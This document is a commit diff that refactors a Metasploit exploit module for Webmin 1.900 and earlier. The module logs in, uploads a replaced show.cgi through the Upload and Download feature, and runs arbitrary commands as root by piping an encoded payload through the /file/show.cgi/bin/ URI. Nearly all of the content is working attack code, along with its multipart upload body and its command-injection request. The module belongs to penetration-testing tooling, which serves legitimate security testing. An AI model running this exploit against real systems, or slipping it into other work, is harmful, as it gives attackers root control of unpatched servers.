parent
b49b7ca9db
commit
bd1cd7fae8
|
@ -15,22 +15,25 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Description' => %q(
|
||||
This module exploits an arbitrary command execution vulnerability in Webmin
|
||||
1.900 and lower versions. Any user authorized to the "Java file manager"
|
||||
and "Upload and Download" fields, to execute arbitrary commands with root privileges.
|
||||
and "Upload and Download" fields can execute arbitrary commands with root
|
||||
privileges.
|
||||
|
||||
In addition, if the 'Running Processes' (proc) privilege is set the user can
|
||||
accurately determine directory upload to. Webmin application files can be
|
||||
written/overwritten, thus allowing RCE root. The module has been tested
|
||||
successfully with Webmin 1900 over Debia'cookie' "redirect=1; testing=1;
|
||||
sid=#{session}"n 4.9.18.
|
||||
Using GUESSUPLOAD attempts to use a default installation path in order to trigger the
|
||||
exploit.
|
||||
accurately determine which directory to upload to. Webmin application files
|
||||
can be written/overwritten, which allows remote code execution. The module
|
||||
has been tested successfully with Webmin 1900 on Debian 4.9.18.
|
||||
|
||||
Using GUESSUPLOAD attempts to use a default installation path in order to
|
||||
trigger the exploit.
|
||||
),
|
||||
'Author' => [
|
||||
'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, Initial PoC module
|
||||
'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, Initial PoC module
|
||||
'Ziconius <Kris.Anderson[at]immersivelabs.com>' # Updated MSF module; removing 'proc' requirement.
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '46201'],
|
||||
['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']
|
||||
],
|
||||
'Privileged' => true,
|
||||
|
@ -44,144 +47,112 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'RequiredCmd' => 'generic perl ruby python telnet'
|
||||
}
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'RPORT' => 10000,
|
||||
'SSL' => true
|
||||
},
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [['Webmin <= 1.900', {}]],
|
||||
'DisclosureDate' => 'Jan 17 2019',
|
||||
'DefaultTarget' => 0)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(10000),
|
||||
OptBool.new('SSL', [true, 'Use SSL', true]),
|
||||
OptBool.new('GUESSUPLOAD', [true, "If no 'proc' permissions exists use default path.", false]),
|
||||
register_options [
|
||||
OptBool.new('GUESSUPLOAD', [true, 'If no "proc" permissions exists use default path.', false]),
|
||||
OptString.new('USERNAME', [true, 'Webmin Username']),
|
||||
OptString.new('PASSWORD', [true, 'Webmin Password'])
|
||||
], self.class
|
||||
)
|
||||
]
|
||||
end
|
||||
|
||||
def login
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => '/session_login.cgi',
|
||||
'cookie' => 'testing=1',
|
||||
'vars_post' => {
|
||||
'page' => '',
|
||||
'user' => datastore['USERNAME'],
|
||||
'pass' => datastore['PASSWORD']
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
|
||||
return $1
|
||||
end
|
||||
|
||||
return nil unless res
|
||||
''
|
||||
end
|
||||
|
||||
##
|
||||
# Target and input verification
|
||||
##
|
||||
|
||||
def check
|
||||
vprint_status("Attempting to login...")
|
||||
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => "/session_login.cgi",
|
||||
'cookie' => "testing=1",
|
||||
'data' => data
|
||||
}, 25
|
||||
)
|
||||
cookie = login
|
||||
return CheckCode::Detected if cookie == ''
|
||||
return CheckCode::Unknown if cookie.nil?
|
||||
|
||||
if res && res.code == 302 && res.get_cookies =~ /sid/
|
||||
print_good "Login successful"
|
||||
session = res.get_cookies.split("sid=")[1].split(";")[0]
|
||||
else
|
||||
print_error "Service found, but login failed"
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
print_status("Attempting to execute...")
|
||||
|
||||
command = "echo #{rand_text_alphanumeric(rand(0..9))}"
|
||||
vprint_status('Attempting to execute...')
|
||||
command = "echo #{rand_text_alphanumeric(0..9)}"
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
|
||||
'cookie' => "sid=#{session}"
|
||||
'cookie' => "sid=#{cookie}"
|
||||
}, 25
|
||||
)
|
||||
|
||||
if res && res.code == 200 && res.message =~ /Document follows/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
return CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
##
|
||||
# Exploiting phase
|
||||
##
|
||||
|
||||
def exploit
|
||||
peer = "#{rhost}:#{rport}"
|
||||
print_status("Attempting to login...")
|
||||
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => "/session_login.cgi",
|
||||
'cookie' => "testing=1",
|
||||
'data' => data
|
||||
}, 25
|
||||
)
|
||||
|
||||
if res && res.code == 302 && res.get_cookies =~ /sid/
|
||||
session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
|
||||
if session && !session.empty?
|
||||
print_good "Login successfully"
|
||||
else
|
||||
print_error "Authentication failed"
|
||||
return
|
||||
end
|
||||
else
|
||||
print_error "Authentication failed"
|
||||
return
|
||||
cookie = login
|
||||
if cookie == '' || cookie.nil?
|
||||
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
|
||||
end
|
||||
print_good("Session cookie: #{cookie}")
|
||||
|
||||
##
|
||||
# Directory and SSL verification for referer
|
||||
##
|
||||
ps = datastore['SSL'].to_s
|
||||
guess_dir = datastore['GUESSUPLOAD'].to_s
|
||||
if ps == "true"
|
||||
ssl = "https://"
|
||||
else
|
||||
ssl = "http://"
|
||||
end
|
||||
phost = ssl ? 'https://' : 'http://'
|
||||
phost << peer
|
||||
print_status("Target URL => #{phost}")
|
||||
|
||||
print_status("Target URL => #{ssl}#{peer}")
|
||||
|
||||
res1 = send_request_raw(
|
||||
'method' => "POST",
|
||||
'uri' => "/proc/index_tree.cgi?",
|
||||
res = send_request_raw(
|
||||
'method' => 'POST',
|
||||
'uri' => '/proc/index_tree.cgi',
|
||||
'headers' =>
|
||||
{
|
||||
'Referer' => "#{ssl}#{peer}/sysinfo.cgi?xnavigation=1"
|
||||
'Referer' => "#{phost}/sysinfo.cgi?xnavigation=1"
|
||||
},
|
||||
'cookie' => "redirect=1; testing=1; sid=#{session}"
|
||||
'cookie' => "redirect=1; testing=1; sid=#{cookie}"
|
||||
)
|
||||
unless res && res.code == 200
|
||||
fail_with(Failure::Unknown, 'Request failed')
|
||||
end
|
||||
|
||||
if res1 && res1.code == 200 && res1.body =~ /Running Processes/
|
||||
print_status "Searching for directory to upload..."
|
||||
stpdir =
|
||||
res1
|
||||
.body.scan(/perl.+miniserv.pl/)
|
||||
.map { |s| s.split("perl ").last }
|
||||
.map { |d| d.split("miniserv").first }
|
||||
.map { |d| d.split("miniserv").first }
|
||||
if !stpdir[0].nil?
|
||||
dir = stpdir[0] + "file"
|
||||
print_good("Directory to upload => #{dir}")
|
||||
elsif guess_dir == "true" && stpdir[0].nil?
|
||||
array = ["/usr/share/webmin/file"]
|
||||
array.each do |i|
|
||||
print_good("Attempting: " + i)
|
||||
upload_attempt(ssl, peer, session, i)
|
||||
end
|
||||
else
|
||||
print_error("Running processed check failed, not guessing uploads. Quitting.")
|
||||
return
|
||||
end
|
||||
print_status 'Searching for directory to upload...'
|
||||
if res.body =~ /Running Processes/ && res.body =~ /[^ ] ([\/\w]+)miniserv\.pl/
|
||||
directory = $1
|
||||
elsif datastore['GUESSUPLOAD']
|
||||
print_warning('Could not determine upload directory. Using /usr/share/webmin/')
|
||||
directory = '/usr/share/webmin/'
|
||||
else
|
||||
print_error "No access to processes or no upload directory found."
|
||||
print_error('Failed to determine webmin share directory')
|
||||
print_error('Set GUESSUPLOAD to attempt upload to a default location')
|
||||
return
|
||||
end
|
||||
directory << 'file'
|
||||
upload_attempt(phost, cookie, directory)
|
||||
|
||||
##
|
||||
# Loading phase of the vulnerable file
|
||||
|
@ -189,23 +160,20 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
##
|
||||
print_status("Attempting to execute the payload...")
|
||||
command = payload.encoded
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(0..9))}|#{command}|",
|
||||
'cookie' => "sid=#{session}"
|
||||
}, 25
|
||||
)
|
||||
res = send_request_cgi({
|
||||
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(0..9)}|#{command}|",
|
||||
'cookie' => "sid=#{cookie}"
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.message =~ /Document follows/
|
||||
print_good "Payload executed successfully"
|
||||
print_good 'Payload executed successfully'
|
||||
else
|
||||
print_error "Error executing the payload"
|
||||
return
|
||||
print_error 'Error executing the payload'
|
||||
end
|
||||
end
|
||||
|
||||
def upload_attempt(ssl, peer, session, dir)
|
||||
boundary = Rex::Text.rand_text_alphanumeric(29)
|
||||
def upload_attempt(phost, cookie, dir)
|
||||
boundary = rand_text_alphanumeric(29)
|
||||
|
||||
data2 = "-----------------------------#{boundary}\r\n"
|
||||
data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"show.cgi\"\r\n"
|
||||
|
@ -258,39 +226,38 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
data2 << "print \"Content-length: \",length($_[0]),\"\\n\\n\";\nprint $_[0];\nexit;\n}\n\n"
|
||||
data2 << "sub ok_exit\n{\nprint \"Content-type: text/plain\\n\\n\";\nprint \"\\n\";\nexit;\n}"
|
||||
data2 << "\r\n\r\n"
|
||||
data2 << "-----------------------------{boundary}\r\n"
|
||||
data2 << "-----------------------------#{boundary}\r\n"
|
||||
data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n"
|
||||
data2 << "-----------------------------{boundary}\r\n"
|
||||
data2 << "-----------------------------#{boundary}\r\n"
|
||||
data2 << "Content-Disposition: form-data; name=\"user\"\r\n\r\nroot\r\n"
|
||||
data2 << "-----------------------------{boundary}\r\n"
|
||||
data2 << "-----------------------------#{boundary}\r\n"
|
||||
data2 << "Content-Disposition: form-data; name=\"group_def\"\r\n\r\n1\r\n"
|
||||
data2 << "-----------------------------{boundary}\r\n"
|
||||
data2 << "-----------------------------#{boundary}\r\n"
|
||||
data2 << "Content-Disposition: form-data; name=\"group\"\r\n\r\n\r\n"
|
||||
data2 << "-----------------------------{boundary}\r\n"
|
||||
data2 << "-----------------------------#{boundary}\r\n"
|
||||
data2 << "Content-Disposition: form-data; name=\"zip\"\r\n\r\n0\r\n"
|
||||
data2 << "-----------------------------{boundary}\r\n"
|
||||
data2 << "-----------------------------#{boundary}\r\n"
|
||||
data2 << "Content-Disposition: form-data; name=\"email_def\"\r\n\r\n1\r\n"
|
||||
data2 << "-----------------------------{boundary}\r\n"
|
||||
data2 << "-----------------------------#{boundary}\r\n"
|
||||
data2 << "Content-Disposition: form-data; name=\"ok\"\r\n\r\nUpload\r\n"
|
||||
data2 << "-----------------------------{boundary}--\r\n"
|
||||
data2 << "-----------------------------#{boundary}--\r\n"
|
||||
|
||||
res2 = send_request_raw(
|
||||
'method' => "POST",
|
||||
'uri' => "/updown/upload.cgi?id=154739243511",
|
||||
'method' => 'POST',
|
||||
'uri' => "/updown/upload.cgi?id=#{rand_text_numeric(8..12)}",
|
||||
'data' => data2,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
|
||||
'Referer' => "#{ssl}#{peer}/updown/?xnavigation=1"
|
||||
'Content-Type' => "multipart/form-data; boundary=---------------------------#{boundary}",
|
||||
'Referer' => "#{phost}/updown/?xnavigation=1"
|
||||
},
|
||||
'cookie' => "redirect=1; testing=1; sid=#{session}"
|
||||
'cookie' => "redirect=1; testing=1; sid=#{cookie}"
|
||||
)
|
||||
|
||||
if res2 && res2.code == 200 && res2.body =~ /Saving file/
|
||||
print_good "Vulnerable show.cgi file was successfully uploaded."
|
||||
print_good 'Vulnerable show.cgi file was successfully uploaded.'
|
||||
else
|
||||
print_error "Upload failed."
|
||||
return
|
||||
print_error 'Upload failed.'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue